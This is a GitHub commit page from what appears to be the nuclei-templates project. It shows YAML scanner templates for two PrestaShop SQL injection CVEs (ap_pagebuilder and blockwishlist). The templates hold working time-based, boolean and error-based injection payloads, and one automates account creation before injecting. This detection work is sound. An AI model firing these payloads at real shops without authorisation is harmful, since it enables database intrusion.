Skip to content

Commit bacff6c

Browse files
authored
Merge pull request #14081 from projectdiscovery/presta-intrus-v2
Added new templates, fixed false positives, and enhanced others
2 parents 5e674af + e47f5f0 commit bacff6c

File tree

9 files changed

+1389
-59
lines changed

9 files changed

+1389
-59
lines changed

helpers/wordlists/adminer-paths.txt

Lines changed: 728 additions & 0 deletions
Large diffs are not rendered by default.

http/cves/2022/CVE-2022-22897.yaml

Lines changed: 40 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -19,25 +19,24 @@ info:
1919
cvss-score: 9.8
2020
cve-id: CVE-2022-22897
2121
cwe-id: CWE-89
22-
epss-score: 0.85193
23-
epss-percentile: 0.99309
22+
epss-score: 0.86131
23+
epss-percentile: 0.99358
2424
cpe: cpe:2.3:a:apollotheme:ap_pagebuilder:*:*:*:*:*:prestashop:*:*
2525
metadata:
2626
verified: true
2727
max-request: 4
2828
vendor: apollotheme
29-
product: "ap_pagebuilder"
29+
product: ap_pagebuilder
3030
framework: prestashop
31-
shodan-query:
32-
- "http.component:\"Prestashop\""
33-
- http.component:"prestashop"
31+
shodan-query: http.component:"prestashop"
3432
tags: time-based-sqli,cve,cve2022,packetstorm,prestashop,sqli,unauth,apollotheme,vkev,vuln
3533

3634
http:
3735
- raw:
3836
- |
3937
GET /modules/appagebuilder/config.xml HTTP/1.1
4038
Host: {{Hostname}}
39+
4140
- |
4241
@timeout: 20s
4342
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
@@ -47,17 +46,17 @@ http:
4746
X-Requested-With: XMLHttpRequest
4847
4948
leoajax=1&product_one_img=if(now()=sysdate()%2Csleep(6)%2C0)
49+
5050
- |
51-
@timeout: 20s
5251
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
5352
Host: {{Hostname}}
5453
Content-Type: application/x-www-form-urlencoded
5554
Referer: {{RootURL}}
5655
X-Requested-With: XMLHttpRequest
5756
5857
leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6644=6644-- yMwI
58+
5959
- |
60-
@timeout: 20s
6160
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
6261
Host: {{Hostname}}
6362
Content-Type: application/x-www-form-urlencoded
@@ -66,8 +65,25 @@ http:
6665
6766
leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6643=6644-- yMwI
6867
69-
host-redirects: true
70-
max-redirects: 3
68+
- |
69+
@timeout: 20s
70+
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
71+
Host: {{Hostname}}
72+
Content-Type: application/x-www-form-urlencoded
73+
Referer: {{RootURL}}
74+
X-Requested-With: XMLHttpRequest
75+
76+
leoajax=1&pro_add=if(now()=sysdate()%2Csleep(6)%2C0)
77+
78+
- |
79+
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
80+
Host: {{Hostname}}
81+
Content-Type: application/x-www-form-urlencoded
82+
Referer: {{RootURL}}
83+
X-Requested-With: XMLHttpRequest
84+
85+
leoajax=1&pro_add=-{{rand_int(0000, 9999)}})
86+
7187
matchers-condition: or
7288
matchers:
7389
- type: dsl
@@ -77,6 +93,13 @@ http:
7793
- 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
7894
condition: and
7995

96+
- type: dsl
97+
name: time-based
98+
dsl:
99+
- 'duration_5>=6'
100+
- 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
101+
condition: and
102+
80103
- type: dsl
81104
name: blind-based
82105
dsl:
@@ -86,6 +109,13 @@ http:
86109
- 'len(body_3) > 200 && len(body_4) <= 22'
87110
condition: and
88111

112+
- type: dsl
113+
name: error-based
114+
dsl:
115+
- 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
116+
- 'contains(body_6, "You have an error in your SQL syntax")'
117+
condition: and
118+
89119
extractors:
90120
- type: regex
91121
name: version
@@ -94,4 +124,3 @@ http:
94124
group: 1
95125
regex:
96126
- "<version>\\s*<!\\[CDATA\\[(.*?)\\]\\]>\\s*<\\/version>"
97-
# digest: 4b0a0048304602210081d5ade544b7294a17cfeaa4b36e95ec35b0ee899d6e059a1322a7b67c9468fb022100fbff92c05e5da38c7eb58e0ae56e5fc3b561da7753d0b560d24b76ea43c5a642:922c64590222798bb761d5b6d8e72950

http/cves/2022/CVE-2022-31101.yaml

Lines changed: 217 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,217 @@
1+
id: CVE-2022-31101
2+
3+
info:
4+
name: Prestashop Blockwishlist 2.1.0 SQL Injection
5+
author: mastercho
6+
severity: high
7+
description: |
8+
Prestashop Blockwishlist module version 2.1.0 suffers from a remote authenticated SQL injection vulnerability.
9+
reference:
10+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31101
11+
- https://github.com/PrestaShop/blockwishlist/security/advisories/GHSA-2jx3-5j9v-prpp
12+
- https://packetstormsecurity.com/files/168003/Prestashop-Blockwishlist-2.1.0-SQL-Injection.html
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
15+
cvss-score: 8.1
16+
cve-id: CVE-2022-31101
17+
cwe-id: CWE-89
18+
epss-score: 0.13829
19+
epss-percentile: 0.93938
20+
cpe: cpe:2.3:a:prestashop:blockwishlist:*:*:*:*:*:*:*:*
21+
metadata:
22+
max-request: 8
23+
vendor: prestashop
24+
product: blockwishlist
25+
tags: packetstorm,cve,cve2022,prestashop,prestashop-module,sqli,intrusive
26+
27+
variables:
28+
first_name: "{{rand_base(4, 'abcdefghijklmnopqrstuvwxyz')}}"
29+
last_name: "{{rand_base(4, 'abcdefghijklmnopqrstuvwxyz')}}"
30+
email: "{{randstr}}@{{rand_base(5)}}.com"
31+
password: "{{rand_base(8)}}"
32+
33+
flow: |
34+
http(1) && http(2) && http(3) && http(4) && (template["id_wishlist"] && template["id_wishlist"][0] ? (http(7) && http(8)) : (http(5) && http(6) && http(7) && http(8)))
35+
36+
http:
37+
- method: GET
38+
path:
39+
- "{{BaseURL}}/modules/blockwishlist/config.xml"
40+
41+
extractors:
42+
- type: regex
43+
name: version
44+
group: 1
45+
regex:
46+
- "<version>\\s*<!\\[CDATA\\[(.*?)\\]\\]>\\s*<\\/version>"
47+
48+
host-redirects: true
49+
max-redirects: 3
50+
51+
matchers-condition: and
52+
matchers:
53+
- type: status
54+
status:
55+
- 200
56+
internal: true
57+
58+
- type: word
59+
part: body
60+
words:
61+
- "Wishlist block"
62+
internal: true
63+
64+
- type: dsl
65+
name: version_check
66+
dsl:
67+
- compare_versions(version, '>= 2.0.0', '<= 2.1.0')
68+
internal: true
69+
70+
- raw:
71+
- |
72+
GET / HTTP/1.1
73+
Host: {{Hostname}}
74+
75+
host-redirects: true
76+
max-redirects: 3
77+
78+
extractors:
79+
- type: regex
80+
name: id_product_raw
81+
part: body
82+
group: 1
83+
regex:
84+
- '/(\d+)-[a-z0-9\-]+\.html'
85+
internal: true
86+
87+
- type: dsl
88+
name: id_product
89+
dsl:
90+
- index(id_product_raw, 0)
91+
internal: true
92+
93+
- raw:
94+
- |
95+
POST /{{login_path}}?create_account=1 HTTP/1.1
96+
Host: {{Hostname}}
97+
Content-Type: application/x-www-form-urlencoded
98+
99+
id_gender=1&firstname={{first_name}}&lastname={{last_name}}&email={{email}}&password={{password}}&birthday=&customer_privacy=1&psgdpr=1&submitCreate=1
100+
101+
payloads:
102+
login_path:
103+
- login
104+
- en/login
105+
- fr/login
106+
- de/login
107+
- pl/login
108+
- es/login
109+
stop-at-first-match: true
110+
111+
matchers:
112+
- type: dsl
113+
dsl:
114+
- regex('PrestaShop-[0-9a-f]{32}', header)
115+
- status_code == 302
116+
condition: and
117+
internal: true
118+
119+
- raw:
120+
- |
121+
GET /module/blockwishlist/action?action=getAllWishlist HTTP/1.1
122+
Host: {{Hostname}}
123+
124+
matchers:
125+
- type: word
126+
part: body
127+
words:
128+
- '"id_wishlist"'
129+
- '"nbProducts"'
130+
- '"name"'
131+
condition: and
132+
internal: true
133+
134+
extractors:
135+
- type: json
136+
name: id_wishlist_raw
137+
part: body
138+
json:
139+
- .wishlists[0].id_wishlist
140+
internal: true
141+
142+
- type: dsl
143+
name: id_wishlist
144+
dsl:
145+
- index(id_wishlist_raw, 0)
146+
internal: true
147+
148+
- id: create-wishlist
149+
raw:
150+
- |
151+
GET /module/blockwishlist/action?action=createNewWishlist&params[name]=123 HTTP/1.1
152+
Host: {{Hostname}}
153+
154+
matchers:
155+
- type: word
156+
part: body
157+
words:
158+
- '"success"'
159+
internal: true
160+
161+
- id: fetch-new-wishlist
162+
raw:
163+
- |
164+
GET /module/blockwishlist/action?action=getAllWishlist HTTP/1.1
165+
Host: {{Hostname}}
166+
167+
extractors:
168+
- type: regex
169+
name: id_wishlist_raw
170+
part: body
171+
group: 1
172+
regex:
173+
- '"id_wishlist":"(\d+)"'
174+
internal: true
175+
176+
- type: dsl
177+
name: id_wishlist
178+
dsl:
179+
- 'index(id_wishlist_raw, 0)'
180+
internal: true
181+
182+
matchers:
183+
- type: word
184+
part: body
185+
words:
186+
- '"id_wishlist"'
187+
- '"nbProducts"'
188+
- '"name"'
189+
condition: and
190+
internal: true
191+
192+
- id: add-product
193+
raw:
194+
- |
195+
POST /module/blockwishlist/action?action=addProductToWishlist&params[id_product]={{id_product}}&params[idWishList]={{id_wishlist_raw}}&params[quantity]=1&params[id_product_attribute]=0 HTTP/1.1
196+
Host: {{Hostname}}
197+
198+
matchers:
199+
- type: word
200+
part: body
201+
words:
202+
- '"success":true'
203+
internal: true
204+
205+
- id: sql-inj
206+
raw:
207+
- |
208+
GET /module/blockwishlist/view?id_wishlist={{id_wishlist_raw}}&order=p.name,%20(select%20case%20when%20(1=1)%20then%20(SELECT%20SLEEP(7))%20else%201%20end);%20--%20.asc HTTP/1.1
209+
Host: {{Hostname}}
210+
211+
matchers:
212+
- type: dsl
213+
name: time-based
214+
dsl:
215+
- 'duration >= 7'
216+
- 'contains(to_lower(body), "prestashop")'
217+
condition: and

0 commit comments

Comments
 (0)